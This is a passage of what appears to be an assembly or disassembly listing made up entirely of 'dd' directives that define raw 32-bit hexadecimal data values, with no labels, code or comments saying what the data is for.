dd 34925630h, 3CB32631h, 209A3B19h, 20F3D29h, 4E4E1CCDh
dd 99CAEBABh, 8611052Fh, 2A2A2F6Ah, 2B5B9323h, 67B95730h
dd 0F1B5301Ah, 0CB5C3B3Fh, 23D52F42h, 2A195990h, 512AA1h
dd 472636A7h, 3EA24E18h, 644E246Eh, 587F7132h, 25D15E22h
dd 202ADC3Fh, 6E4A5C4Ch, 0EFD157Fh, 0AF55DF9Bh, 0E425632Fh
dd 7E2D2328h, 2C8D16A1h, 0E6CF7FEEh, 94E3CC64h, 6294D026h
dd 18A52BC4h, 38049E39h, 313B120Ch, 766359D4h, 29030Fh
dd 2F2E4B0Ch, 43B2E49h, 1CB1E2EEh, 654B37C4h, 0C8AE3BCFh
dd 0BC3F4E3Ch, 5C9F112Bh, 14816423h, 0AA05C438h, 2C9E3C66h
dd 34C64138h, 23C2B5F0h, 0D28AA43Ch, 0BAB95628h, 0B22DBF2Ah
dd 0DF54855h, 0F790197Fh, 20CD1B23h, 646F28F6h, 38063BFFh
dd 9F54B0EAh, 7786E933h, 0EE1A39F1h, 7C7D327Fh, 85DAF231h
dd 2F644E4Eh, 652E23CCh, 2B866728h, 4778EB36h, 5B24452Bh
dd 315E3333h, 2C52275Ch, 6FB46A50h, 0F15901D6h, 0E4D79539h
dd 0CC267A1Fh, 69E7E66Fh, 2DEA68DCh, 71D564C5h, 651113Eh
dd 0BD38567Ch, 0BAD0FB22h, 1B8773A0h, 0E79D1E1Ch, 732555DFh
dd 0AF33DA24h, 0A02B2BF4h, 0A4112D7Ah, 70DA63FBh, 0C836C869h
dd 7CB268h, 3770B06Ch, 1F2BF40Ah, 7179482Fh, 27252467h
dd 0C20F66AAh, 0E22E763Ch, 7281308Bh, 26359001h, 963A3883h
dd 3E853C9Fh, 0B9BC0D3Ch, 0B9135F1Eh, 25E42386h, 8DA46525h
dd 2E2CEF2Ah, 0F9308B52h, 4137335Ah, 0E9F43792h, 0ED3C9FB8h
dd 40183F56h, 0C0CB1EB9h, 0FC238682h, 6C24264Dh, 89D82A8Dh
dd 0B08B8B4Bh, 1B58BB57h, 0F87E2A94h, 7FB2FA3Bh, 3B32B50Ch
dd 28DE1C3Dh, 0AA13A021h, 0EAAD106Fh, 104A6AA5h, 0D7A5FCA7h
dd 361239D0h, 0F235750Dh, 0F1B19CCBh, 9FCD341Ch, 0F61097BFh
dd 963140DDh, 24A51C82h, 923920AEh, 21699369h, 3D313F2Fh
dd 363A343Ch, 3A363838h, 0F23F8BA2h, 0E2761BB1h, 625FD776h
dd 41252322h, 792C2787h, 8A52B4Eh, 67612B2Eh, 0BC34C2B9h
dd 0B43C1342h, 3DFB2E74h, 1C0B1B7Ah, 0F5E6F619h, 0AFDCDD71h
dd 7BE427EBh, 308B0A7Ah, 302CD145h, 446230BDh, 0C059F438h
dd 0B38BCC0Ah, 27BBF835h, 6B1D034Ch, 0DCA2A45Dh, 6505C50h
dd 29CAFEA3h, 0A2F8060Ch, 303305B4h, 62306566h, 3ECB68BBh
dd 4CE3E60h, 0C16F60ECh, 29602BABh, 265D2FD7h, 0FC3EC075h
dd 0EAAED3D6h, 1312425h, 691334BBh, 1A0A6569h, 0FABC67FBh
dd 0DE9E1A2Fh, 612D1FA7h, 0E5172122h, 0D289BABh, 902F2BC2h
dd 31300967h
dd 539FC030h, 5E9D9Dh, 0C318973Ah, 336F3C3Eh, 78223296h
dd 37201121h, 0B3292764h, 0A63224A9h, 442AAF64h, 0DB327364h
dd 0E236777Ah, 3B3AB313h, 0EB16FCE8h, 3365171Eh, 527E069h
dd 3624E42Ah, 4728E81Bh, 2DEF73BEh, 31F36247h, 2AB71716h
dd 1D3874AAh, 3B7F5464h, 1F5C0478h, 74268E3Bh, 63E2EBA8h
dd 8A9D465h, 0F6A77A3Bh, 32B5298Ch, 40C41E8h, 0CE74B3F7h
dd 33B4583Bh, 43431F3Fh, 0C4AB1F45h, 449CE07Fh, 29606589h
dd 404EE82Bh, 3CD0CE5Bh, 652333B9h, 2BC7F8BDh, 0FA474B1h
dd 3E9BE7B4h, 212F191Eh, 1210A26Dh, 78772755h, 8C0BEEAAh
dd 314F392Ch, 35133323h, 6E315C26h, 38D33853h, 9BFA658h
dd 0E0E19EE4h, 4B6F4955h, 2C6C8F44h, 2549539Ch, 8F267767h
dd 53D31137h, 6728AB45h, 0FBDABC3Bh, 0BF568041h, 9EBD142Ah
dd 0B2DE76CCh, 0BE08AFF4h, 28432A27h, 784D13ABh, 0E7CEE8A4h
dd 34B530B3h, 0B16F3864h, 0BDE8C3C3h, 96083BFBh, 7AAFDFD9h
dd 8440AFBBh, 432CA726h, 996F43D5h, 31F86F6Dh, 3511BA56h
dd 41D4B432h, 8933FB3Bh, 1D40AF1Ah, 3E8D001Ah, 0B3EA2360h
dd 3FD32EA5h, 637F2FA8h, 0A495EF64h, 760630B0h, 52A5468Dh
dd 0EC503B78h, 0A8B93A7Ch, 0FEBA1C5Dh, 8F2AA1BEh, 0AFAB67E0h
dd 898E2BA8h, 422F2D07h, 0BB31F077h, 441243F6h, 653B78A8h
dd 37AE7C79h, 1ADA9F1Bh, 0CF54D524h, 0E3E292A8h, 322C1836h
dd 2B303E53h, 9A35217Ah, 66DCBF23h, 3428232Fh, 3E38FD23h
dd 964A482Bh, 5DCBF7D3h, 6A213123h, 7276D653h, 226B7675h
dd 313B182Ah, 7ADC6319h, 0E5BBE786h, 0B6FD33FEh, 0DDE1B4C9h
dd 0D31F1CF4h, 0A7EBA984h, 36D425C4h, 1CE9EA8Dh, 0B12DCC2Fh
dd 1B87B33h, 28E06A21h, 394BC340h, 8B576F2Dh, 1D1F1D05h
dd 0AF4A1E40h, 4F042015h, 0D4AA2068h, 83E0CFAh, 731B7B5Ah
dd 3B362B3Ah, 59BF5334h, 0F53478F4h, 751B5D7Bh, 0D7252658h
dd 20243BA6h, 2C2CB3F1h, 6B151AEBh, 3731F029h, 0FE1F00B1h
dd 3FE93A32h, 3BD8E43Ah, 1ED81B37h, 2125FA9Eh, 34A5AD23h
dd 487D27A6h, 2DC83D02h, 1D30CB0Fh, 600333D6h, 0C8B337D2h
dd 752CBDB1h, 0AC1AB7B5h, 0F1241CAFh, 0AD62255Dh, 0A3278424h
dd 0D3E5A12Fh, 0F28E267Dh, 1047BB30h, 71353531h, 4CBA3BFAh
dd 0A26E3A19h, 0DFFCB7F7h, 69AD210Fh, 0E715DAD9h, 946D7076h
dd 282E22BAh, 0A3DEB030h, 46423145h, 3F5A1E73h, 3D3E6D20h
dd 52EBA931h, 12205132h, 6B176862h, 4228AB77h, 0D65D4479h
dd 1A016963h, 678A78C8h, 0FEBA6387h, 2639AC17h, 50A8113Fh
dd 1134151Dh, 9A7A973Dh, 4161484Eh, 0D22D198Dh, 9D29DE37h
dd 29BCC32Eh, 3B383636h, 2A48F2BEh, 27543FB5h, 5E9DF64Ch
dd 2428DDDCh, 0A14D26B7h, 0F55F0C28h, 312AB9A6h, 2631B015h
dd 86B339F5h, 69382A39h, 163EB56Bh, 15ADF54Ch, 0CBA02157h
dd 0D8DB33A5h, 0AA2AAD27h, 0C2AB2E2Ch, 0B4574C44h, 303CB4B2h
dd 473E2A38h, 3F9EA9BCh, 4EF54E18h, 0DDDCAD38h, 25133123h
dd 28012C19h, 0F2D2E2Bh, 9E3FB07Fh, 0F0363433h, 6E951CB3h
dd 31AD3E3Bh, 1D974AD7h, 0A171AF0Ch, 0EDAF3733h, 298C2D26h
dd 0A2C43B20h, 0B9A6E2h, 5DF41E92h, 0FEB37336h, 0FB5F765h
dd 261B3EBCh, 21DF2E94h, 7BA423A0h, 0DC27394Dh, 240F6618h
dd 306BEE95h, 4330CBB2h, 0B513C91Ch, 7F3A2639h, 15D73F3Dh
dd 0E0E34D0Ah, 22222DE2h, 90272094h, 842B2C4Dh, 84012C2Ch
dd 1CBD3230h, 2719B4E1h, 0DBE135D8h, 0BFDC0F30h, 1F61F5Ah
dd 23A03F9Eh, 0E02308E2h, 0CBA8E90Bh, 0AF54B70Fh, 0B9B335AEh
dd 5C111636h, 0DAFF805h, 360DBE0Ah, 57421CEDh, 9100FB1Ch
dd 24213C23h, 29273709h, 0EE112B25h, 0CA0DF113h, 30A250Fh
dd 8B066608h, 0FD028004h, 0CF25F500h, 0C221C623h, 0D21DCD1Fh
dd 3E18291Bh, 7E140316h, 0D02E2E12h, 0B4323230h, 9643535h
dd 0DCC0B9Bh, 29CE0C75h, 2C012E11h, 107E1260h, 14A9164Ah
dd 0FADD1A83h, 6F086F4Dh, 92BEFC30h, 0B5DE8735h, 9D07A64h
dd 86BC9F76h, 2A3758D9h, 0D07E70FDh, 3DD77E77h, 289A4DE2h
dd 15469E05h, 0E027F2E4h, 65D73544h, 5ABE41Dh, 0C6AAEACh
dd 7A7135EDh, 0E9204E4Bh, 37575190h, 4D78B951h, 5BEC0EA3h
dd 316637C2h, 5F353358h, 53315D30h, 3E567432h, 761C3E7Eh
dd 641F9312h, 28490605h, 2077D7AEh, 6DC674C1h, 0BB7906BDh
dd 0B3B373F9h, 0D033361Dh, 0BF1BFA43h, 4B3BF8BDh, 6E76A44Ah
dd 0CB8E1CE0h, 3733253Ch, 797A1509h, 0C0E90DAFh, 730ECD58h
dd 0BDDE6235h, 2FBFBB7Dh, 0B72E343Ch, 0D61B5D87h, 0C0D06DF7h
dd 4E20C1Ch, 78E8EA2Fh, 0C72F6C12h, 0B525F27Fh, 20DD7173h
dd 0DB35B8D0h, 3CDDD52Fh, 1B69DBBAh, 2129FF7Eh, 65160B36h
dd 0F9251126h, 2DAD1C2Ah, 316C2E4Eh, 0E4556F33h, 39713606h
dd 6D332B3Bh, 9C7A1BBAh, 4538725Fh, 767FE645h, 0BA642236h
dd 28493B11h, 60034249h, 517F5C0Ah, 682D171Bh, 2D313719h
dd 6FBF5626h, 7D366D68h, 20224541h, 272F2187h, 2B228A00h
dd 336DC528h, 92CD79CEh, 5F3F3520h, 6B2139C8h, 0C06B3B3Dh
dd 1CCA2C0Eh, 2631E21Eh, 3BB52523h, 0DC1A7EBBh, 3493442Bh
dd 8B30306Fh, 724C2C6Ch, 3B5C3837h, 3D3D1C72h, 1F57182Ah
dd 21D9171Fh, 0F5302327h, 40450872h, 4E0C452Ah, 541E4B43h
dd 1551734Ah, 1B185419h, 3553D88Ah, 1C6B501Eh, 6C3B38h
dd 4472204h, 4445061Bh, 58AB0448h, 160F5A55h, 35F11217h
dd 11464373h, 1C483BF8h, 793EE103h, 11247496h, 1B1080DCh
dd 0E7D43B2Ah, 3427253Bh, 8FAC7F29h, 8B2FCFBAh, 0F1BDCA74h
dd 3BAAFA66h, 333FF13Ch, 4E1C971Bh, 0DCA7EAF7h, 0E2A6DB33h
dd 7C553A23h, 0A52DDDA0h, 35D96029h, 0D2CACAB8h, 723930BCh
dd 0AC3832B2h, 18A71B3Ch, 0E000AEBEh, 8045020h, 46286306h
dd 0A42584Fh, 31580F5Ah, 15514553h, 4A747B72h, 5F363B36h
dd 7AB9F93Bh, 0A6707171h, 2026A245h, 454E7213h, 6F2F4A4Ch
dd 322EB68Dh, 40461719h, 18183434h, 45594F1Ch, 1A0FDF49h
dd 7F5E1D3Ch, 0CD1E3021h, 2D05FE65h, 2B52A1A8h, 9D183E2Dh
dd 33720E41h, 6135E459h, 3FEA3949h, 0BF3E4C5Dh, 6A487009h
dd 2255571Fh, 0AB2550A1h, 87B12853h, 5E8E2C5Fh, 0CA39A52Fh
dd 0A7D531A6h, 7AD19E32h, 0BF39593Bh, 0FD88B1FBh, 2BFADC1Eh
dd 222EFE3Ah, 0DF1C2DFBh, 0C826F054h, 3BEA2FDFh, 0C854B26Eh
dd 0C66BDEC9h, 34982E7Eh, 3C4449D7h, 0ED1D6E7Ah, 73F350D0h
dd 603F13B4h, 0BE7B5641h, 0A153881Ah, 0A1DE3E06h, 0B77202h
dd 0A8340DAAh, 81B3A79h, 0E9F61BC8h, 66DDDF6Ah, 47359484h
dd 215FAC29h, 2BBA2ACCh, 0F8808C14h, 46DE672Ch, 0C4C40960h
dd 56EE9954h, 0F601BA6Ah, 0A41605Dh, 0DA01A0A8h, 0E27929C4h
dd 2C64F8C3h, 3303028h, 1214C575h, 0B3A79DFh, 0F6E0D7Ah
dd 2C942A46h, 13C22DCAh, 17D011C9h, 1A0E1427h, 1E7A181Eh
dd 2401C4Ah, 695004Bh, 0DA60346h, 8A40E5Bh, 29AB0A96h
dd 15D22BA8h, 11F817F7h, 1F25105Dh, 1B3B1D20h, 7E21965h
dd 0C660A3Fh, 12310E51h, 0E03DBA3Eh, 6839BB68h, 9AD01B9Dh
dd 25A39D26h, 21A38CE4h, 2DAA212Dh, 6128A89Eh, 97983271h
dd 76A13671h, 387FAF3Bh, 6D3D7CDCh, 371E5993h, 58226016h
dd 73572766h, 6F452B66h, 2D6C9728h, 36327571h, 358E3E99h
dd 743F5110h, 8E3B2C6Ch
dd 9815423Ch, 0CA778F68h, 2F4E2BA2h, 0F1F832D9h, 0BC15226Ah
dd 900DA428h, 5518823Dh, 0CBB3E026h, 0BE383B8Ch, 0DC1BFFC0h
dd 1F0FE6AEh, 242C5D01h, 2828262Ah, 2C242A26h, 2D42E22h
dd 0BD57A159h, 0BB333610h, 6A233AD5h, 713E3E57h, 131E7719h
dd 67AF284Ah, 274C3100h, 7BDBA22Eh, 0D0605BC4h, 0F7B1CE30h
dd 0FFBD632Ch, 1F7E39FFh, 0D73A3D14h, 1E1C5089h, 7225E63Fh
dd 574D9D75h, 2B296C27h, 0D1671CC3h, 0BBCEA0D0h, 70F23075h
dd 3E39D83Fh, 0BC63FAB0h, 101C1D4Ch, 0CDA3573Eh, 25F4232Eh
dd 790A2727h, 729DC32Ah, 39BBD0D1h, 116093BFh, 396A663Eh
dd 0D0BCB91Eh, 0A51BB4BCh, 700F3A51h, 2024A270h, 2FA77355h
dd 0E2A02E7Fh, 3020AE7Fh, 343C323Eh, 3838363Ah, 33C43A36h
dd 143F313Dh, 101E121Ch, 2C222E20h, 0D8262A24h, 2B252927h
dd 2F212D23h, 333D313Fh, 3739353Bh, 343A36C7h, 303E323Ch
dd 111D131Bh, 2D212F1Fh, 262ADB23h, 2A262828h, 212D2C24h
dd 67313F2Fh, 2011890h, 2CE80408h, 0D020C6Dh, 9DA2F63Bh
dd 76E52410h, 492CAA44h, 29690302h, 958A20Ch, 0B43F070Eh
dd 2C5431C1h, 6D7A13B2h, 0FB0739BAh, 8AB194Ah, 703E4A69h
dd 5E73240h, 5F27506h, 2C937D25h, 782C2E00h, 353371B9h
dd 4830283Fh, 0C033B6Ah, 10613D3Dh, 31B6518h, 103E2049h
dd 2C522624h, 372F152Ch, 19202C53h, 38B83230h, 39332B30h
dd 23438ADh, 349E3E3Ch, 1018021Fh, 1E2F21B4h, 2D932723h
dd 220D3623h, 0DE0C9523h, 0C8BAF077h, 979E38C0h, 3BDB3EA5h
dd 0B7357EB2h, 1DFE0E89h, 2E7F193Dh, 0DA7B6824h, 2DD95159h
dd 25C0A82Ah, 6EB018CFh, 0EB42003h, 3455DF3Eh, 0B625176Eh
dd 4C7A0F78h, 66940429h, 64372219h, 2CAB5227h, 0DEBEE0Dh
dd 6B727072h, 39BAB255h, 0FCB63235h, 83AFAF9h, 7D583AFFh
dd 0FF787C58h, 480DC90Bh, 0C806604h, 7801892Ah, 48E742Dh
dd 3A7372FBh, 0B3BF0A55h, 2E3A7D1Ch, 7DA2BFB5h, 0FD68F41Fh
dd 4D08DFE2h, 0B2AE2669h, 2A889CAAh, 0D12C7B21h, 683061A6h
dd 0C2359583h, 3B6D3897h, 0E03C6BD2h, 0CE1D4C6Ah, 76E81E49h
dd 24739E23h, 287F7294h, 0B12D7C8Dh, 66A12E79h, 6261B533h
dd 386F4C37h, 583D6C4Ah, 49413E69h, 77501F4Ah, 25616620h
dd 34266405h, 79332B6Bh, 723B2F6Fh, 35712230h, 30367439h
dd 803A786Ch, 0D94718FFh, 1E5CBDBCh, 226074B8h, 0B72767B0h
dd 89A6286Ah, 8D7BA52Ch, 3390B530h, 4B3697B4h, 6E76399Ah
dd 9D1E3D9Eh, 1EBF381Bh, 26318237h, 822531DCh, 0A1282AFFh
dd 2EFE94E3h, 0C5215262h, 30DFF5D2h, 0B331F9E6h, 330F396Dh
dd 7D1E0B6Eh, 7E74CF48h, 73A07E7Ch, 0D64CB072h, 2D23D47Eh
dd 313F2F21h, 353B333Dh, 39373739h, 32C33B35h, 131B303Eh
dd 0D262111Dh, 0D0508021h, 45CF3F25h, 0D8972ADBh, 0D835662Dh
dd 3133C06Ch, 2337C53Dh, 0CE76D22Dh, 1BCB703Dh, 5A23F500h
dd 0D7B521D2h, 0ACE3824h, 0BACA29DAh, 0C7302DD8h, 1A32C32Dh
dd 1F36C63Dh, 0C937D127h, 3FCA4F3Ch, 1E1CF43Bh, 25550023h
dd 676322ABh, 0D95C62A7h, 2F2D2AEDh, 8D9A01EBh, 332B8940h
dd 82952682h, 5CDF8E25h, 8202A4E8h, 9530830Eh, 0BA1633BAh
dd 2282836h, 285C236Ah, 8D276F7Eh, 0DBDB2470h, 7A2F7549h
dd 6228D83Eh, 1AF36035h, 21BEB7DDh, 29DC86AAh, 28D223C4h
dd 8ED62A88h, 0B12A282Dh, 0F8260D31h, 0FDA797F9h, 6A3A3839h
dd 28D76E6Ah, 2F5E080Ch, 0D310615Ch, 52D01F45h, 30A2422h
dd 8F0DED78h, 0BA335B31h, 0DF22054Ah, 535E256Eh, 0B5D68846h
dd 0D6181FFAh, 0CA2C3DD9h, 8421A7EEh, 2620AFD7h, 2AEE95C3h
dd 6332300Fh, 0DE3E30F7h, 0E23DFB92h, 2A3735FCh, 19DF8AD7h
dd 2829D816h, 0E6615ECAh, 2DEF1F22h, 0EC45C322h, 1574632Ah
dd 3230375Ah, 303B6FDEh, 2BBF6AC2h, 1BBB3E2Bh, 7D6C3B46h
dd 241C2721h, 2927191Ah, 1F1B1A1Bh, 682B2E6Dh, 14313261h
dd 38370634h, 3C7E773Dh, 0B07073Fh, 4B501F1Ch, 231721C0h
dd 450BA526h, 2F2A4049h, 27084D01h, 93514743h, 4743182Eh
dd 9AD2395Ch, 3E8E3F5Ch, 0F6E9F5F2h, 22B1DFE0h, 263AE823h
dd 2A362838h, 312D33D4h, 2D312F2Fh, 29352B33h, 25392737h
dd 3E22C33Bh, 1D031B20h, 212F1F11h, 252B232Dh, 26D72729h
dd 222C242Ah, 3E30202Eh, 3A343C32h, 34EC3836h, 0FCCCB83Ah
dd 1C30D63Ah, 2F321D26h, 23C230Eh, 28383E2Eh, 3F821593h
dd 0A493A097h, 0AB323131h, 0FB8B3636h, 2C953AADh, 183FB0B3h
dd 0F71CA31Dh, 2423A893h, 2127456Ah, 298CC129h, 432BC02Ah
dd 3434B3A9h, 0DEF7BC58h, 3B9FCA3Ah, 0FF0DF5B7h, 0ED1EFD98h
dd 99AA8487h, 33252BA2h, 48A96BE1h, 2B6EEB2Bh, 71F7342Fh
dd 3735143Ah, 3B337BF1h, 0A43D3739h, 5636983Eh, 3722359Ch
dd 13A2F3A9h, 401A767h, 2C2EF1DEh, 715803ADh, 5A393232h
dd 0DA5E3632h, 3968BA3Ah, 6C7A609Eh, 372C416Dh, 7D2AF0EBh
dd 40780FA4h, 3C4B190Ah, 532E6E9Ah, 405D5DB1h, 5E5B5947h
dd 0FCB902F9h, 7453101Fh, 9E7D747Bh, 514D6137h, 43525664h
dd 2C1B07AFh, 390F03BDh, 25303370h, 0BC203E87h, 39D6742Ch
dd 123E5EBEh, 1A4DEC5Eh, 2D218EF7h, 0E9DE77Ah, 3FA88528h
dd 0AC013CA3h, 20B2B93Dh, 0B427B653h, 0B72BB354h, 0B0D4E076h
dd 8D162CBEh, 0EF66119Ch, 0A9A9AE32h, 0DE862DBh, 0A024EB41h
dd 0A1315BA3h, 30A01937h, 62FCDF23h, 38AC4C3Ah, 9F097DEEh
dd 3C080618h, 1807B6ADh, 9A702105h, 9CA2C233h, 0F8A42E2Eh
dd 0F23384DEh, 1CA712B1h, 3C2D3839h, 0E4328ED5h, 0D1954DE3h
dd 28B9C920h, 0ABABDADBh, 2912390Ch, 16412F2Ch, 0AB7084Bh
dd 810FB934h, 0E6038401h, 6D33D05h, 25B926BBh, 1B011C1Dh
dd 0C919C01Fh, 17153D37h, 9F10582Bh, 40CDE12h, 87D940Dh
dd 6A400653h, 7CADE534h, 2106FB3Eh, 11131C1Eh, 4C241355h
dd 0D01EB010h, 1D5E041Ch, 0C6701D2Fh, 0F32D2234h, 0C030C8A9h
dd 23A0432h, 5C1D0038h, 1E11DD5Dh, 1B26E06Dh, 17231921h
dd 7C21522Dh, 926BA06Fh, 3732CB39h, 7330133h, 7CA53F4Bh
dd 1D003802h, 192B1B23h, 25026462h, 0E36F425h, 224A162Dh
dd 0AF104D76h, 5B7F1910h, 7D3431A4h, 53073B3Bh, 3D3AB196h
dd 331F1F21h, 0E23F04DEh, 4E759C3Eh, 82A0957h, 7FEB0F5Fh
dd 7735844Bh, 41ECF6ECh, 0B1C6C7CBh, 7FE03117h, 90A7B3Dh
dd 7172AF7Fh, 63647220h, 2EBA3706h, 6E0E752Eh, 0B9AEC7E0h
dd 35862032h, 0FD4E3229h, 59FC3362h, 5C3F73BEh, 17F7484Eh
dd 902B01D0h, 29374A01h, 2823D4A8h, 0BF5EEE3Ch, 5F533180h
dd 0A94312A9h, 34783878h, 9C3E7C00h, 2E1F5D80h, 0CB16C171h
dd 2EB63521h, 2F3BAA96h, 0BAE69A1h, 0FCB96128h, 449792DCh
dd 6FB73178h, 2FB72918h, 0E084E19h, 31A17B1Eh, 3227C473h
dd 6A0811CFh, 5AEDA87Ah, 76328265h, 34B46DADh, 68B848DFh
dd 0CF093CCAh, 1C1C1B3Fh, 2954DF9Bh, 2D2533A9h, 91203770h
dd 432D45C3h, 479A292Eh, 0D15A3436h, 39DC5136h, 953CD964h
dd 0F898D686h, 20FB501Ch, 8E23C667h, 1E27C21Bh, 28052ACDh
dd 3F2E0822h, 3B315A03h, 636883EBh, 0C4833A3Ah, 0B5393C10h
dd 0ACBE1B1Ah, 226681C6h, 62CBCC1Fh, 0C27AA129h, 4A2F68CEh
dd 3272E6D9h, 0F5E68D00h, 31F7B632h, 50873137h, 0BD111A5Eh
dd 0CB0727FAh, 0AB2923BBh
dd 0A8252FB2h, 2F5A202Ch, 33221823h, 211A763Fh, 92B4B53Bh
dd 75053CD5h, 59199B94h, 0C9AC5F1Fh, 24B218Ch, 0E2C01780h
dd 6F6D880Eh, 0A114A352h, 3A713032h, 3B834C4h, 8B747BEh
dd 1D19E43Ah, 61777699h, 4CF5DD34h, 7227C269h, 242BCE05h
dd 276C2ECEh, 29387675h, 3882DE99h, 0FB2FDB31h, 1BC03C3Eh
dd 28D5191Ch, 14F916F4h, 1F4C1D7Bh, 13551152h, 17BD15A1h
dd 0B8B0997h, 0FEF0DF7h, 22101D6h, 66E041Dh, 276F2577h
dd 1B971982h, 1FF61DE6h, 13DE11FEh, 1421162Dh, 9680B7Ch
dd 0D440F58h, 1BD034Ch, 5FF07A5h, 5F3120F7h, 0C9371D1Bh
dd 87262117h, 312A2271h, 2F2E0EC2h, 39322A42h, 3421DB2Bh
dd 3E1C7334h, 0BEB22FB7h, 0BC4B3DBFh, 0C805061Fh, 0C688F495h
dd 6E072A52h, 0E3F520Dh, 302C1155h, 342C5F0Eh, 3820362Ah
dd 9E606B99h, 254494B8h, 208B23F4h, 27221ED7h, 9F272527h
dd 1B222A28h, 1F761D19h, 22E01C1h, 6120414h, 0A6B0810h
dd 0E9C0C51h, 2FDD2DB1h, 13F611CEh, 146B1612h, 18ED1AB6h
dd 1CF21EE1h, 13402C6h, 59A073Dh, 0E3C0BE6h, 373C087Ah
dd 0D51238B1h, 7700DD05h, 6F2D25E7h, 432D2E22h, 0AC2C4B32h
dd 38309E35h, 95F7DB60h, 33313014h, 0E26A323Ah, 79B09FEh
dd 5A049676h, 0AB212B28h, 7642F21h, 252B3168h, 3A54C67Ch
dd 34387838h, 7D6A13Ch, 76807AFh, 6F3B6BFAh, 24165D01h
dd 0A03555E7h, 52271DB4h, 3F3AD93Ah, 6F2AED93h, 68F5BA6Dh
dd 72B607BDh, 111A4B52h, 0BC906A4h, 280E2C19h, 4C21AD1Dh
dd 71244E33h, 0A217A172h, 0BE2552A2h, 1701D8B7h, 4239A217h
dd 5A2C983Dh, 0BB3C3EE3h, 159EB8FFh, 3D54111Eh, 0A54BA74Ah
dd 2C420F01h, 45212B7Ah, 4D86D2Fh, 0CAC99B32h, 0B02CF3B5h
dd 0D64C937Fh, 3E21BF0Eh, 0A4BF249Fh, 0B027281Bh, 3AA7461Fh
dd 0A133EEAAh, 240B624Dh, 243302D9h, 3B3719F5h, 0DC1FBEB1h
dd 493C743Dh, 86CFC16h, 22D22508h, 418D75D7h, 228A8383h
dd 1F396D68h, 0A3626064h, 37A67D34h, 73AAB78h, 7B3EADE9h
dd 8E491C89h, 23F20C1Fh, 0ABAD2253h, 29880CA3h, 7E7F7C7Ah
dd 3275702Bh, 6060CB37h, 3EA14836h, 0AE3C6AB3h, 4B191A6Fh
dd 0D121BA86h, 2482E301h, 91298696h, 5D2A8A81h, 3317EC2Ah
dd 0C5363636h, 0C16A3537h, 0A6383939h, 195B3809h, 65343E1Fh
dd 542D4220h, 68672760h, 99632F28h, 717F2E6Ch, 0B16931h
dd 0CB902BDh, 89B0EA2h, 2F890A90h, 2BEC29A2h, 162E15D8h
dd 123C1035h, 1E871C08h, 199C18F7h, 5E4078Ah, 1D803E8h
dd 0C6C0FCCh, 8ED0A84h, 26A924B2h, 1AFD18C9h, 1ED71CC5h
dd 132E10DBh, 17EB1542h, 0B2320B09h, 72DD1033h, 3ABBF1CBh
dd 0BDCED46Fh, 0F558073Fh, 65209CF4h, 25A7C2CAh, 0F1C0631Ah
dd 0C5002BA9h, 5B30AFE1h, 655C376Ah, 38AAB187h, 3E3D3AE7h
dd 1A43572Ah, 22BCD31Ch, 0AF45CA15h, 28A54CF5h, 9539EAE9h
dd 0BD252F2Dh, 0DC6B02BCh, 0A43BA78Eh, 7F1B4447h, 1C1F7EFDh
dd 1B0ED9F4h, 242E5001h, 97242526h, 89C2192Dh, 632C9CC5h
dd 3B312914h, 0A1341539h, 2A2DD1EDh, 239E3F21h, 1DCC98DDh
dd 66C92E27h, 26F52EE1h, 41C13E96h, 7B7E1C6Eh, 8B316779h
dd 536340Ch, 3A45B5F7h, 7AFB051Fh, 1C1C231Bh, 478BECDEh
dd 25A0A889h, 393A2744h, 0B04CC37Ah, 15BC532Eh, 33B53276h
dd 251C73BFh, 0C73D36Bh, 38A737BFh, 0A0179F51h, 31F811A6h
dd 0A9332D25h, 23030EA1h, 346FA5A8h, 4165D607h, 0D061264Eh
dd 6A5F3BC9h, 1BB44D48h, 945F1152h, 2F6CA8E1h, 0D8D918A4h
dd 7A5F56D7h, 0FF28752Eh, 6B3732D0h, 68DE633Bh, 6A5C3AC8h
dd 0B42A6ADDh, 0C6361045h, 7CA87777h, 0E61BB527h, 68604924h
dd 0EF2F2C6Fh, 2076014h, 34340FE1h, 5F391870h, 4E5E684Fh
dd 7F7D136Bh, 4867AF72h, 75484B52h, 40584656h, 0EFF31699h
dd 52F0462Fh, 405B7059h, 1968D758h, 58787B0Dh, 796F5A52h
dd 0B57A24FDh, 0D5E27E51h, 0A3257524h, 0AE0B3A61h, 78A43E2Dh
dd 41FAB725h, 0C7DFB225h, 6CB010F9h, 8ABFB715h, 2C1CF61Ch
dd 274877DFh, 0E7152577h, 6B31BC40h, 782E2C2Ch, 3F74B860h
dd 17B6B3BDh, 2EC53A38h, 0C7305C64h, 6D91C98h, 5CA8DF9Ah
dd 7A905027h, 7B79E946h, 304727E8h, 0B231D407h, 9635549Ch
dd 3A7D042Fh, 0B25D3F35h, 6E7CA47Fh, 0A27FDF81h, 0A670E72Eh
dd 0A83EDA2Bh, 0BD2F7FC6h, 0F5912D2Eh, 0FD397B50h, 992937F7h
dd 9D3D3B34h, 4B4DB3DCh, 4538E94h, 6437AA2Dh, 874CBC06h
dd 192096Dh, 0B16B4982h, 6760815Ch, 87D43BD5h, 6C6F3653h
dd 195F13D5h, 5B811F48h, 263228C2h, 72E72620h, 2428262Ch
dd 2D23522Eh, 32CD798Fh, 36C934CBh, 3ACB38C7h, 38CF3CFDh
dd 0D72E0D91h, 0B3313097h, 4BC52121h, 3A313AABh, 5B2FD4A8h
dd 71A12A35h, 0B63D7513h, 0FFB26735h, 0B76062ABh, 2E19CE2Eh
dd 0DE211DF3h, 0BF4B23C7h, 29272729h, 63F32B25h, 7FD03C5Fh
dd 274488FCh, 2BDD2412h, 3AEC6433h, 4A7974FDh, 265E515Ch
dd 0C3290B2Ah, 0EFE0ADBAh, 292B966Ch, 56102C8Eh, 3432322Eh
dd 0F9855466h, 0C3BEB8B9h, 7BABBA32h, 17AD1D05h, 0A3A8A52Fh
dd 53D9DB1Eh, 15A92960h, 0A206582Fh, 631A3576h, 3C77E4DCh
dd 0E033D8E0h, 69563149h, 0E11F479Ah, 2220540Ah, 53E5A130h
dd 0BA3CD707h, 0A5242C2Ah, 37DFB3DFh, 2D75EAC4h, 38DFBBC1h
dd 0B75B3F7Dh, 7F1C2B2Dh, 0A720DC40h, 31E4A62Eh, 522E3652h
dd 73572902h, 0F1EC1CEDh, 3BB4386Ch, 3DA910B7h, 1347393h
dd 1C11A21Dh, 0C1E69C1Eh, 27232921h, 2683A921h, 0A42D4A00h
dd 70218ADBh, 7C3630B1h, 1937B66Eh, 3CDA6A37h, 0FF67301Dh
dd 0FB437D1Ch, 23C24920h, 20063A66h, 0BB2D0CC8h, 0B7290C79h
